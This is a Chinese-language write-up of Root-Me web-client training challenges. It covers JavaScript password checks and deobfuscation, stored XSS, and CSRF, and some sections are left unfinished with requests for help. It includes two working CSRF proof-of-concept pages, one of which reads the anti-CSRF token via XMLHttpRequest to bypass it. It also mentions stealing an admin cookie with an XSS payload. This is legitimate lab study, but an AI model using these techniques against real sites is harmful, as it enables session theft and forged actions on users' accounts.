root-me web-client writeup

地址：www.root-me.org

HTML - disabled buttons

打开网页发现按钮不能按，查看源代码，有 'disabled' ，按F12进行元素修改，去掉 'disabled'然后提交即可

Javascript - Authentication

查看源码，在js里面可以找到密码

这个也是提交答案的密码

Javascript - Source

Ctrl+U 在源码里可找到密码

Javascript - Authentication 2

分析这段js即可,很简单就是将 'GOD:HIDDEN'用 ":"进行分割，GOD作为用户名，HIDDEN作为密码，所以最后提交HIDDEN即可

function connexion(){

    var username = prompt("Username :", "");

    var password = prompt("Password :", "");

    var TheLists = ["GOD:HIDDEN"];

    for (i = 0; i < TheLists.length; i++)

    {

        if (TheLists[i].indexOf(username) == 0)

        {

            var TheSplit = TheLists[i].split(":");

            var TheUsername = TheSplit[0];

            var ThePassword = TheSplit[1];

            if (username == TheUsername && password == ThePassword)

            {

                alert("Vous pouvez utiliser ce mot de passe pour valider ce challenge (en majuscules) / You can use this password to validate this challenge (uppercase)");

            }

        }

        else

        {

            alert("Nope, you're a naughty hacker.")

        }

    }

}

Javascript - Obfuscation 1

查看源代码，发现密码，进行urldecode解码即可

Javascript - Obfuscation 2

源码:var pass = unescape("unescape%28%22String.fromCharCode%2528104%252C68%252C117%252C102%252C106%252C100%252C107%252C105%252C49%252C53%252C54%2529%22%29");

两次urldecode，然后在控制台运行 document.write(String.fromCharCode(104,68,117,102,106,100,107,105,49,53,54))即可得到密码

Javascript - Native code

查看源码可以看到一段js变形的代码，这里需要用到firefox的一个deobfuscator插件。

成功添加之后，在firefox菜单的开发者选项之中可以看到一个"javascript反混淆器"，点击打开，即可分析。

Javascript - Obfuscation 3

看源码，分析之后有这一串十六进制

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

转回字符之后是 55,56,54,79,115,69,114,116,107,49,50，控制台里运行document.write(String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50))即可得到密码

XSS - Stored 1

无过滤，最简单的储存型xss，贴入某个xss平台的payload即可。

答案：cookie : ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6

CSRF - 0 protection

让我们在message填入我们xss平台的payload验证漏洞。果然存在漏洞。

接下来就是构造恶意页面，先分析profile页面。

所以我们提交的参数值有username,status两个。最后构造的恶意页面如下，放在自己服务器上。

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>CSRF</title>

</head>

<body>

    <form name="csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="POST" enctype="multipart/form-data">

    <input type="hidden" name="username" value="deen" />

    <input type="hidden" name="status" value="on" />

    </form>

<script> document.csrf.submit()</script>

</body>

</html>

再message提交，

没有成功，是哪里出错了吗？求解。

Flash - Authentication

有大佬会吗，求教...

CSRF - token bypass

<!DOCTYPE html>

<html>

<head>

    <title>csrf</title>

</head>

<body onload="get()">

<form id="form-payload" action="?action=profile" method="POST" enctype="multipart/form-data">

  <input type="hidden" name="username" value="deen"/>

  <input type="hidden" name="status" value="on"/>

  <input type="hidden" id="forged-token" name="token" value=""/>

  <input type="submit" value="go"/>

</form>

<script>

var x = new XMLHttpRequest();

function get() {

  x.open("GET","?action=profile",true);

  x.send(null);

}

x.onreadystatechange = function() {

  if (x.readyState == XMLHttpRequest.DONE) {

    var token = x.responseText.match(/name="token" value="(.+)"/)[1];

    document.getElementById("forged-token").value = token;

    document.getElementById("form-payload").submit();

  }

}

</script>

</body>

</html>

Javascript - Obfuscation 4

源代码如下：

var ð = "\x71\x11\x24\x59\x8d\x6d\x71\x11\x35\x16\x8c\x6d\x71\x0d\x39\x47\x1f\x36\xf1\x2f\x39\x36\x8e\x3c\x4b\x39\x35\x12\x87\x7c\xa3\x10\x74\x58\x16\xc7\x71\x56\x68\x51\x2c\x8c\x73\x45\x32\x5b\x8c\x2a\xf1\x2f\x3f\x57\x6e\x04\x3d\x16\x75\x67\x16\x4f\x6d\x1c\x6e\x40\x01\x36\x93\x59\x33\x56\x04\x3e\x7b\x3a\x70\x50\x16\x04\x3d\x18\x73\x37\xac\x24\xe1\x56\x62\x5b\x8c\x2a\xf1\x45\x7f\x86\x07\x3e\x63\x47";

function _(x, y) {

  return x ^ y;

}

function __(y) {

  var z = 0;

  for (var i = 0; i < y; i++) {

    z += Math.pow(2, i);

  }

  return z;

}

function ___(y) {

  var z = 0;

  for (var i = 8 - y; i < 8; i++) {

    z += Math.pow(2, i);

  }

  return z

}

function ____(x, y) {

  y = y % 8;

  Ï = __(y);

  Ï = (x & Ï) << (8 - y);

  return (Ï) + (x >> y);

}

function _____(x, y) {

  y = y % 8;

  Ï = ___(y);

  Ï = (x & Ï) >> (8 - y);

  return ((Ï) + (x << y)) & 0x00ff;

}

function ______(x, y) {

  return _____(x, y)

}

function _______(_________, key) {

  ________ = "";

  ________2 = "";

  for (var i = 0; i < _________.length; i++) {

    c = _________.charCodeAt(i);

    if (i != 0) {

      t = ________.charCodeAt(i - 1) % 2;

      switch (t) {

        case 0:

          cr = _(c, key.charCodeAt(i % key.length));

          break;

        case 1:

          cr = ______(c, key.charCodeAt(i % key.length));

          break;

      }

    } else {

      cr = _(c, key.charCodeAt(i % key.length));

    }

    ________ += String.fromCharCode(cr);

  }

  return ________;

}

function __________(þ) {

  var ŋ = 0;

  for (var i = 0; i < þ.length; i++) {

    ŋ += þ["charCodeAt"](i)

  }

  if (ŋ == 8932) {

    var ç = window.open("", "", "\x77\x69\x64\x74\x68\x3d\x33\x30\x30\x2c\x68\x65\x69\x67\x68\x74\x3d\x32\x20\x30");

    ç.document.write(þ)

  } else {

    alert("Mauvais mot de passe!")

  }

}

__________(_______(ð, prompt("Mot de passe?")));

这代码看得我真蛋疼...美化修改相关变量和函数名之后的代码如下：

var text = "\x71\x11\x24\x59\x8d\x6d\x71\x11\x35\x16\x8c\x6d\x71\x0d\x39\x47\x1f\x36\xf1\x2f\x39\x36\x8e\x3c\x4b\x39\x35\x12\x87\x7c\xa3\x10\x74\x58\x16\xc7\x71\x56\x68\x51\x2c\x8c\x73\x45\x32\x5b\x8c\x2a\xf1\x2f\x3f\x57\x6e\x04\x3d\x16\x75\x67\x16\x4f\x6d\x1c\x6e\x40\x01\x36\x93\x59\x33\x56\x04\x3e\x7b\x3a\x70\x50\x16\x04\x3d\x18\x73\x37\xac\x24\xe1\x56\x62\x5b\x8c\x2a\xf1\x45\x7f\x86\x07\x3e\x63\x47";

function a(x, y) {

  return x ^ y;

}

function b(y) {

  var z = 0;

  for (var i = 0; i < y; i++) {

    z += Math.pow(2, i);

  }

  return z;

}

function C(y) {

  var z = 0;

  for (var i = 8 - y; i < 8; i++) {

    z += Math.pow(2, i);

  }

  return z

}

function d(x, y) {

  y = y % 8;

  n = b(y);

  n = (x & n) << (8 - y);

  return (n) + (x >> y);

}

function e(x, y) {

  y = y % 8;

  n = C(y);

  n = (x & n) >> (8 - y);

  return ((n) + (x << y)) & 0x00ff;

}

function f(x, y) {

  return e(x, y)

}

function g(x, key) {

  y = "";

  z = "";

  for (var i = 0; i < x.length; i++) {

    c = x.charCodeAt(i);

    if (i != 0) {

      t = y.charCodeAt(i - 1) % 2;

      switch (t) {

        case 0:

          cr = a(c, key.charCodeAt(i % key.length));

          break;

        case 1:

          cr = f(c, key.charCodeAt(i % key.length));

          break;

      }

    } else {

      cr = a(c, key.charCodeAt(i % key.length));

    }

    y += String.fromCharCode(cr);

  }

  return y;

}

function m(pass) {

  var ŋ = 0;

  for (var i = 0; i < pass.length; i++) {

    ŋ += pass["charCodeAt"](i)

  }

  if (ŋ == 8932) {

    var ç = window.open("", "", "\x77\x69\x64\x74\x68\x3d\x33\x30\x30\x2c\x68\x65\x69\x67\x68\x74\x3d\x32\x20\x30");

    ç.document.write(pass)

  } else {

    alert("Mauvais mot de passe!")

  }

}

m(g(text, prompt("Mot de passe?")));

分析：

m函数是对密码pass进行验证，密码正确的条件是pass所有字符的ascii值加起来为8932
关键在于g函数，g函数是对输入处理的核心函数。g函数有两个参数，一个已知，一个需要我们输入，返回值y就是我们要的密码。
- 我曹...这要怎么个逆法...这嵌套调用想死...看了半天不会啊...aaa...

XSS - Stored 2

存储型xss，目标还是盗用管理员cookie，应该是有过滤的，先找输出点，然后fuzz

首先测试尖括号<>,发现被实体化了

巴特西

[root-me](web-client)write up 一个大坑怎么填啊

root-me web-client writeup

HTML - disabled buttons

Javascript - Authentication

Javascript - Source

Javascript - Authentication 2

Javascript - Obfuscation 1

Javascript - Obfuscation 2

Javascript - Native code

Javascript - Obfuscation 3

XSS - Stored 1

CSRF - 0 protection

Flash - Authentication

CSRF - token bypass

Javascript - Obfuscation 4

XSS - Stored 2

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